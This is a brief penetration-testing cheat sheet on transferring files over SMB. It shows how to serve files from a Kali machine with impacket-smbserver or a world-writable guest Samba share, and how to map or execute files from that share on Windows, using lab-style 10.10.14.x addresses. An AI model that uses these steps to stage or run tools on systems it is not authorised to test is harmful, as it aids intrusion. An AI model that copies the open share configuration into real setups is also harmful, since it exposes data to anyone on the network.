File Transfer - Samba
Security, Privacy & Digital Freedom
File Transfer SMB/SAMBA
SMB
Kali as server
kali_op1: impacket-smbserver -smb2support kali pwd
# Share current directory
kali_op2: smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test pwd
Or create a smb share using samba:
apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes #Start samba service smbd restart
Windows
CMD-Wind: \10.10.14.14\path\to\exe CMD-Wind: net use z: \10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1: New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\10.10.14.9\kali" WindPS-2: cd new_disk:
70550681 Bytes